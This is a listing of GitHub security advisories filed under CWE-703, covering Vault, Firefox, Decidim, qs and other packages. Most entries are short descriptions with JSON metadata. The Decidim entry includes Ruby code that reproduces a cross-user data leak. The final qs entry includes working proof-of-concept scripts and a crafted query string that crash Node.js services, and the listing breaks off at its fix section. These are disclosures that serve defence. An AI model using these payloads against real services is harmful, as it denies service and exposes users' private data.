CWE-703
DiscouragedImproper Check or Handling of Exceptional Conditions
Abstraction: Pillar · Status: Incomplete
The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.
231 vulnerabilities reference this CWE, most recent first.
GHSA-2QMW-PVF7-4MW6
Vulnerability from github – Published: 2024-07-11 21:31 – Updated: 2024-09-06 21:38Vault and Vault Enterprise did not properly handle requests originating from unauthorized IP addresses when the TCP listener option, proxy_protocol_behavior, was set to deny_unauthorized. When receiving a request from a source IP address that was not listed in proxy_protocol_authorized_addrs, the Vault API server would shut down and no longer respond to any HTTP requests, potentially resulting in denial of service.
While this bug also affected versions of Vault up to 1.17.1 and 1.16.5, a separate regression in those release series did not allow Vault operators to configure the deny_unauthorized option, thus not allowing the conditions for the denial of service to occur.
Fixed in Vault and Vault Enterprise 1.17.2, 1.16.6, and 1.15.12
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/hashicorp/vault"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.15.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/hashicorp/vault"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0-rc1"
},
{
"fixed": "1.16.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/hashicorp/vault"
},
"ranges": [
{
"events": [
{
"introduced": "1.17.0-rc1"
},
{
"fixed": "1.17.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-6468"
],
"database_specific": {
"cwe_ids": [
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-12T14:02:32Z",
"nvd_published_at": "2024-07-11T21:15:12Z",
"severity": "HIGH"
},
"details": "Vault and Vault Enterprise did not properly handle requests originating from unauthorized IP addresses when the TCP listener option, proxy_protocol_behavior, was set to deny_unauthorized. When receiving a request from a source IP address that was not listed in proxy_protocol_authorized_addrs, the Vault API server would shut down and no longer respond to any HTTP requests, potentially resulting in denial of service.\n\nWhile this bug also affected versions of Vault up to 1.17.1 and 1.16.5, a separate regression in those release series did not allow Vault operators to configure the deny_unauthorized option, thus not allowing the conditions for the denial of service to occur.\n\nFixed in Vault and Vault Enterprise 1.17.2, 1.16.6, and 1.15.12",
"id": "GHSA-2qmw-pvf7-4mw6",
"modified": "2024-09-06T21:38:47Z",
"published": "2024-07-11T21:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6468"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2024-14-vault-vulnerable-to-denial-of-service-when-setting-a-proxy-protocol-behavior/68518"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-2qmw-pvf7-4mw6"
},
{
"type": "PACKAGE",
"url": "https://github.com/hashicorp/vault"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Hashicorp Vault vulnerable to Improper Check or Handling of Exceptional Conditions "
}
GHSA-2W9W-FGQ6-2VMC
Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-19 21:31Sandbox escape due to incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability affects Firefox < 145.
{
"affected": [],
"aliases": [
"CVE-2025-13023"
],
"database_specific": {
"cwe_ids": [
"CWE-703"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T16:15:39Z",
"severity": "CRITICAL"
},
"details": "Sandbox escape due to incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability affects Firefox \u003c 145.",
"id": "GHSA-2w9w-fgq6-2vmc",
"modified": "2025-11-19T21:31:18Z",
"published": "2025-11-11T18:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13023"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1992032"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-87"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-90"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-32J9-6QQM-MQ9G
Vulnerability from github – Published: 2022-03-17 00:00 – Updated: 2022-03-30 20:16The package node-lmdb before 0.9.7 is vulnerable to Denial of Service (DoS) when defining a non-invokable ToString value, which will cause a crash during type check.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-lmdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-21164"
],
"database_specific": {
"cwe_ids": [
"CWE-241",
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2022-03-19T00:10:41Z",
"nvd_published_at": "2022-03-16T16:15:00Z",
"severity": "HIGH"
},
"details": "The package node-lmdb before 0.9.7 is vulnerable to Denial of Service (DoS) when defining a non-invokable `ToString` value, which will cause a crash during type check.",
"id": "GHSA-32j9-6qqm-mq9g",
"modified": "2022-03-30T20:16:16Z",
"published": "2022-03-17T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21164"
},
{
"type": "WEB",
"url": "https://github.com/Venemo/node-lmdb/commit/97760104c0fd311206b88aecd91fa1f59fe2b85a"
},
{
"type": "PACKAGE",
"url": "https://github.com/Venemo/node-lmdb"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-NODELMDB-2400723"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unhandled case in node-lmdb"
}
GHSA-3CX6-J9J4-54MP
Vulnerability from github – Published: 2026-02-03 17:21 – Updated: 2026-02-08 01:01Impact
Private data exports can lead to data leaks in cases where the UUID generation causes collisions for the generated UUIDs.
The bug was introduced by #13571 and affects Decidim versions 0.30.0 or newer (currently 2025-09-23).
This issue was discovered by running the following spec several times in a row, as it can randomly fail due to this bug:
$ cd decidim-core
$ for i in {1..10}; do bundle exec rspec spec/jobs/decidim/download_your_data_export_job_spec.rb -e "deletes the" || break ; done
Run the spec as many times as needed to hit a UUID that converts to 0 through .to_i.
The UUID to zero conversion does not cause a security issue but the security issue is demonstrated with the following example.
The following code regenerates the issue by assigning a predefined UUID that will generate a collision (example assumes there are already two existing users in the system):
# Create the ZIP buffers to be stored
buffer1 = Zip::OutputStream.write_buffer do |out|
out.put_next_entry("admin.txt")
out.write "Hello, admin!"
end
buffer1.rewind
buffer2 = Zip::OutputStream.write_buffer do |out|
out.put_next_entry("user.txt")
out.write "Hello, user!"
end
buffer2.rewind
# Create the private exports with a predefined IDs
user1 = Decidim::User.find(1)
export = user1.private_exports.build
export.id = "0210ae70-482b-4671-b758-35e13e0097a9"
export.export_type = "download_your_data"
export.file.attach(io: buffer1, filename: "foobar.zip", content_type: "application/zip")
export.expires_at = Decidim.download_your_data_expiry_time.from_now
export.metadata = {}
export.save!
user2 = Decidim::User.find(2)
export = user2.private_exports.build
export.id = "0210d2df-a0c7-40aa-ad97-2dae5083e3b8"
export.export_type = "download_your_data"
export.file.attach(io: buffer2, filename: "foobar.zip", content_type: "application/zip")
export.expires_at = Decidim.download_your_data_expiry_time.from_now
export.metadata = {}
export.save!
Expect to see an error in the situation.
Now, login as user with ID 1, go to /download_your_data, click "Download file" from the export and expect to see the data that should be attached to user with ID 2. This is an artificially replicated situation with the predefined UUIDs but it can easily happen in real situations.
The reason for the test case failure can be replicated in case you change the export ID to export.id = "e9540f96-9e3d-4abe-8c2a-6c338d85a684". This would return 0 through .to_s
After attaching that ID, you can test if the file is available for the export:
user.private_exports.last.file.attached?
=> false
user.private_exports.last.file.blob
=> nil
Note that this fails with such UUID as shown in the example and could easily lead to collisions in case the UUID starts with a number. E.g. UUID "0210ae70-482b-4671-b758-35e13e0097a9" would convert to 210 through .to_s. Therefore, if someone else has a "private" export with the prefixes "00000210", "0000210", "000210", "00210", "0210" or "210", that would cause a collision and the file could be attached to the wrong private export.
Theoretical chance of collision (the reality depends on the UUID generation algorithm):
- Potential combinations of the UUID first part (8 characters hex): 16^8
- Potentially colliding character combinations (8 numbers characters in the range of 0-9): 10^8
- 10^8 / 16^8 ≈ 2.3% (23 / 1000 users)
The root cause is that the class Decidim::PrivateExport defines an ActiveStorage relation to file and the table active_storage_attachments stores the related record_id as bigint which causes the conversion to happen.
Workarounds
Fully disable the private exports feature until a patch is available.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "decidim-core"
},
"ranges": [
{
"events": [
{
"introduced": "0.30.0"
},
{
"fixed": "0.30.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "decidim"
},
"ranges": [
{
"events": [
{
"introduced": "0.30.0"
},
{
"fixed": "0.30.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65017"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T17:21:17Z",
"nvd_published_at": "2026-02-03T15:16:12Z",
"severity": "HIGH"
},
"details": "### Impact\nPrivate data exports can lead to data leaks in cases where the UUID generation causes collisions for the generated UUIDs.\n\nThe bug was introduced by #13571 and affects Decidim versions 0.30.0 or newer (currently 2025-09-23).\n\nThis issue was discovered by running the following spec several times in a row, as it can randomly fail due to this bug:\n\n```bash\n$ cd decidim-core\n$ for i in {1..10}; do bundle exec rspec spec/jobs/decidim/download_your_data_export_job_spec.rb -e \"deletes the\" || break ; done\n```\n\nRun the spec as many times as needed to hit a UUID that converts to `0` through `.to_i`.\n\nThe UUID to zero conversion does not cause a security issue but the security issue is demonstrated with the following example.\n\nThe following code regenerates the issue by assigning a predefined UUID that will generate a collision (example assumes there are already two existing users in the system):\n\n```ruby\n# Create the ZIP buffers to be stored\nbuffer1 = Zip::OutputStream.write_buffer do |out|\n out.put_next_entry(\"admin.txt\")\n out.write \"Hello, admin!\"\nend\nbuffer1.rewind\nbuffer2 = Zip::OutputStream.write_buffer do |out|\n out.put_next_entry(\"user.txt\")\n out.write \"Hello, user!\"\nend\nbuffer2.rewind\n\n# Create the private exports with a predefined IDs\nuser1 = Decidim::User.find(1)\nexport = user1.private_exports.build\nexport.id = \"0210ae70-482b-4671-b758-35e13e0097a9\"\nexport.export_type = \"download_your_data\"\nexport.file.attach(io: buffer1, filename: \"foobar.zip\", content_type: \"application/zip\")\nexport.expires_at = Decidim.download_your_data_expiry_time.from_now\nexport.metadata = {}\nexport.save!\n\n\nuser2 = Decidim::User.find(2)\nexport = user2.private_exports.build\nexport.id = \"0210d2df-a0c7-40aa-ad97-2dae5083e3b8\"\nexport.export_type = \"download_your_data\"\nexport.file.attach(io: buffer2, filename: \"foobar.zip\", content_type: \"application/zip\")\nexport.expires_at = Decidim.download_your_data_expiry_time.from_now\nexport.metadata = {}\nexport.save!\n```\n\nExpect to see an error in the situation.\n\nNow, login as user with ID 1, go to `/download_your_data`, click \"Download file\" from the export and expect to see the data that should be attached to user with ID 2. This is an artificially replicated situation with the predefined UUIDs but it can easily happen in real situations.\n\nThe reason for the test case failure can be replicated in case you change the export ID to `export.id = \"e9540f96-9e3d-4abe-8c2a-6c338d85a684\"`. This would return `0` through `.to_s`\n\nAfter attaching that ID, you can test if the file is available for the export:\n\n```ruby\nuser.private_exports.last.file.attached?\n=\u003e false\nuser.private_exports.last.file.blob\n=\u003e nil\n```\n\nNote that this fails with such UUID as shown in the example and could easily lead to collisions in case the UUID starts with a number. E.g. UUID `\"0210ae70-482b-4671-b758-35e13e0097a9\"` would convert to `210` through `.to_s`. Therefore, if someone else has a \"private\" export with the prefixes \"00000210\", \"0000210\", \"000210\", \"00210\", \"0210\" or \"210\", that would cause a collision and the file could be attached to the wrong private export.\n\nTheoretical chance of collision (the reality depends on the UUID generation algorithm):\n\n- Potential combinations of the UUID first part (8 characters hex): 16^8\n- Potentially colliding character combinations (8 numbers characters in the range of 0-9): 10^8\n- 10^8 / 16^8 \u2248 2.3% (23 / 1000 users)\n\nThe root cause is that the class `Decidim::PrivateExport` defines an ActiveStorage relation to `file` and the table `active_storage_attachments` stores the related `record_id` as `bigint` which causes the conversion to happen.\n\n### Workarounds\nFully disable the private exports feature until a patch is available.",
"id": "GHSA-3cx6-j9j4-54mp",
"modified": "2026-02-08T01:01:36Z",
"published": "2026-02-03T17:21:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decidim/decidim/security/advisories/GHSA-3cx6-j9j4-54mp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65017"
},
{
"type": "WEB",
"url": "https://github.com/decidim/decidim/pull/13571"
},
{
"type": "PACKAGE",
"url": "https://github.com/decidim/decidim"
},
{
"type": "WEB",
"url": "https://github.com/decidim/decidim/releases/tag/v0.30.4"
},
{
"type": "WEB",
"url": "https://github.com/decidim/decidim/releases/tag/v0.31.0"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/decidim-core/CVE-2025-65017.yml"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/decidim/CVE-2025-65017.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Decidim\u0027s private data exports can lead to data leaks"
}
GHSA-3J7M-5G4Q-GFPC
Vulnerability from github – Published: 2025-09-09 20:59 – Updated: 2025-09-10 21:08Impact
TinyEnv did not require the .env file to exist when loading environment variables.
This could lead to unexpected behavior where the application silently ignores missing configuration, potentially causing insecure defaults or deployment misconfigurations.
Affected versions:
- 1.0.1 → 1.0.2
- 1.0.9 → 1.0.10
Patches
The issue has been fixed in version 1.0.11.
All users should upgrade to 1.0.11 or later.
Workarounds
As a workaround, users can manually verify the existence of the .env file before initializing TinyEnv, for example:
```php if (!file_exists(DIR . '/.env')) { throw new RuntimeException('.env file is missing!'); }
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "datahihi1/tiny-env"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "datahihi1/tiny-env"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.9"
},
{
"fixed": "1.0.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58758"
],
"database_specific": {
"cwe_ids": [
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-09T20:59:52Z",
"nvd_published_at": "2025-09-09T20:15:49Z",
"severity": "MODERATE"
},
"details": "### Impact\nTinyEnv did not require the `.env` file to exist when loading environment variables. \nThis could lead to **unexpected behavior** where the application silently ignores missing configuration, potentially causing insecure defaults or deployment misconfigurations. \n\nAffected versions: \n- **1.0.1 \u2192 1.0.2** \n- **1.0.9 \u2192 1.0.10**\n\n### Patches\nThe issue has been fixed in **version 1.0.11**. \nAll users should upgrade to `1.0.11` or later.\n\n### Workarounds\nAs a workaround, users can manually verify the existence of the `.env` file before initializing TinyEnv, for example:\n\n```php\nif (!file_exists(__DIR__ . \u0027/.env\u0027)) {\n throw new RuntimeException(\u0027.env file is missing!\u0027);\n}",
"id": "GHSA-3j7m-5g4q-gfpc",
"modified": "2025-09-10T21:08:15Z",
"published": "2025-09-09T20:59:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/datahihi1/tiny-env/security/advisories/GHSA-3j7m-5g4q-gfpc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58758"
},
{
"type": "WEB",
"url": "https://github.com/datahihi1/tiny-env/commit/69b7b885e6cfbf07f470fb3512360e0caa95521e"
},
{
"type": "WEB",
"url": "https://github.com/datahihi1/tiny-env/commit/7dc656c58bef6050afb8f7a395e38227e31a66df"
},
{
"type": "PACKAGE",
"url": "https://github.com/datahihi1/tiny-env"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "TinyEnv: Missing .env file not required \u2014 may cause unexpected behavior"
}
GHSA-3MVJ-7P7P-X4X5
Vulnerability from github – Published: 2024-04-05 00:31 – Updated: 2024-04-05 00:31A heap overflow vulnerability in IPSec component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure allows an unauthenticated malicious user to send specially crafted requests in-order-to crash the service thereby causing a DoS attack. In certain conditions this may lead to execution of arbitrary code
{
"affected": [],
"aliases": [
"CVE-2024-21894"
],
"database_specific": {
"cwe_ids": [
"CWE-703",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-04T23:15:15Z",
"severity": "HIGH"
},
"details": "A heap overflow vulnerability in IPSec component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure allows an unauthenticated malicious user to send specially crafted requests in-order-to crash the service thereby causing a DoS attack. In certain conditions this may lead to execution of arbitrary code ",
"id": "GHSA-3mvj-7p7p-x4x5",
"modified": "2024-04-05T00:31:28Z",
"published": "2024-04-05T00:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21894"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/SA-CVE-2024-21894-Heap-Overflow-CVE-2024-22052-Null-Pointer-Dereference-CVE-2024-22053-Heap-Overflow-and-CVE-2024-22023-XML-entity-expansion-or-XXE-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3WRM-64R6-6Q6C
Vulnerability from github – Published: 2025-04-03 21:33 – Updated: 2025-04-07 21:32An issue was discovered in Snowbridge setups sending data to Google Tag Manager Server Side. It involves attaching an invalid GTM SS preview header to events, causing them to be retried indefinitely. As a result, the performance of forwarding events to GTM SS overall can be affected (latency, throughput).
{
"affected": [],
"aliases": [
"CVE-2024-47215"
],
"database_specific": {
"cwe_ids": [
"CWE-703"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-03T21:15:38Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Snowbridge setups sending data to Google Tag Manager Server Side. It involves attaching an invalid GTM SS preview header to events, causing them to be retried indefinitely. As a result, the performance of forwarding events to GTM SS overall can be affected (latency, throughput).",
"id": "GHSA-3wrm-64r6-6q6c",
"modified": "2025-04-07T21:32:04Z",
"published": "2025-04-03T21:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47215"
},
{
"type": "WEB",
"url": "https://support.snowplow.io/hc/en-us/articles/26318139354909-Update-Critical-Snowplow-Security-Updates-Impact-on-Open-Source-Software-Users"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4388-WH4Q-8VC6
Vulnerability from github – Published: 2024-07-11 00:32 – Updated: 2024-07-11 00:32An Improper Check or Handling of Exceptional Conditions vulnerability in the Routing Protocol Daemon (rpd) of Juniper Networks Junos and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause a Denial of Service (DoS).
An attacker can send specific traffic to the device, which causes the rpd to crash and restart. Continued receipt of this traffic will result in a sustained DoS condition.
This issue only affects devices with an EVPN-VPWS instance with IGMP-snooping enabled.
This issue affects Junos OS: * All versions before 20.4R3-S10, * from 21.4 before 21.4R3-S6, * from 22.1 before 22.1R3-S5, * from 22.2 before 22.2R3-S3, * from 22.3 before 22.3R3-S2, * from 22.4 before 22.4R3, * from 23.2 before 23.2R2;
Junos OS Evolved: * All versions before 20.4R3-S10-EVO, * from 21.4-EVO before 21.4R3-S6-EVO, * from 22.1-EVO before 22.1R3-S5-EVO, * from 22.2-EVO before 22.2R3-S3-EVO, * from 22.3-EVO before 22.3R3-S2-EVO, * from 22.4-EVO before 22.4R3-EVO, * from 23.2-EVO before 23.2R2-EVO.
{
"affected": [],
"aliases": [
"CVE-2024-39514"
],
"database_specific": {
"cwe_ids": [
"CWE-703"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-10T23:15:10Z",
"severity": "HIGH"
},
"details": "An Improper Check or Handling of Exceptional Conditions vulnerability in the Routing Protocol Daemon (rpd) of Juniper Networks Junos and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause a Denial of Service (DoS).\n\nAn attacker can send specific traffic to the device, which causes the rpd to crash and restart. Continued receipt of this traffic will result in a sustained DoS condition.\n\nThis issue only affects devices with an EVPN-VPWS instance with IGMP-snooping enabled.\n\nThis issue affects Junos OS: \n * All versions before 20.4R3-S10,\u00a0\n * from 21.4 before 21.4R3-S6,\u00a0\n * from 22.1 before 22.1R3-S5,\u00a0\n * from 22.2 before 22.2R3-S3,\u00a0\n * from 22.3 before 22.3R3-S2,\u00a0\n * from 22.4 before 22.4R3,\u00a0\n * from 23.2 before 23.2R2;\n\n\nJunos OS Evolved: \n * All versions before 20.4R3-S10-EVO,\u00a0\n * from 21.4-EVO before 21.4R3-S6-EVO,\u00a0\n * from 22.1-EVO before 22.1R3-S5-EVO,\u00a0\n * from 22.2-EVO before 22.2R3-S3-EVO,\u00a0\n * from 22.3-EVO before 22.3R3-S2-EVO,\u00a0\n * from 22.4-EVO before 22.4R3-EVO,\u00a0\n * from 23.2-EVO before 23.2R2-EVO.",
"id": "GHSA-4388-wh4q-8vc6",
"modified": "2024-07-11T00:32:50Z",
"published": "2024-07-11T00:32:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39514"
},
{
"type": "WEB",
"url": "https://supportportal.juniper.net/JSA82980"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-46J5-6FG5-4GV3
Vulnerability from github – Published: 2025-12-18 09:30 – Updated: 2026-02-03 17:37Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.
Original Description
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-674",
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-18T22:43:39Z",
"nvd_published_at": "2025-12-18T09:15:44Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.\n\n## Original Description\nA flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.",
"id": "GHSA-46j5-6fg5-4gv3",
"modified": "2026-02-03T17:37:53Z",
"published": "2025-12-18T09:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14874"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-14874"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion",
"withdrawn": "2026-02-03T17:37:53Z"
}
GHSA-4MJR-XMP4-GH2G
Vulnerability from github – Published: 2026-09-02 14:45 – Updated: 2026-09-02 14:45Summary
qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.
An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.
Details
utils.isBuffer runs at lib/stringify.js:127 for every serialized value:
if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }
utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:
var isBuffer = function isBuffer(obj) {
if (!obj || typeof obj !== 'object') { return false; }
return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};
constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.
Trust Boundary Note
qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.
PoC
poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:
'use strict';
var qs = require('qs');
var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y
var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));
try {
qs.stringify(parsed);
console.log('[stringify] no throw (unexpected)');
} catch (e) {
console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}
poc02_isBuffer.js — the minimal defect:
'use strict';
var qs = require('qs');
try {
qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}
poc02b_isBuffer_async_crash.js — worker death in an async sink:
'use strict';
var qs = require('qs');
function handleRequestAsync(clientJsonBody) {
try {
setImmediate(function () { // async continuation, outside the try
qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
});
console.log('[handler] returned 200 synchronously; async work scheduled');
} catch (e) {
console.log('[handler] caught synchronously (will NOT happen):', e.message);
}
}
process.on('exit', function (code) {
console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');
Execution Steps
cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js # async sink -> uncaught throw -> exit code 1
Reproduction Evidence
poc02c_isBuffer_qs_only_roundtrip.js :
[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function
poc02_isBuffer.js:
[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function
poc02b_isBuffer_async_crash.js :
[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
at Object.isBuffer (.../qs/lib/utils.js:332:78)
at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===
The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.
Impact
An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.
Recommended Fix
Replace the duck-type with a brand check mirroring utils.isRegExp:
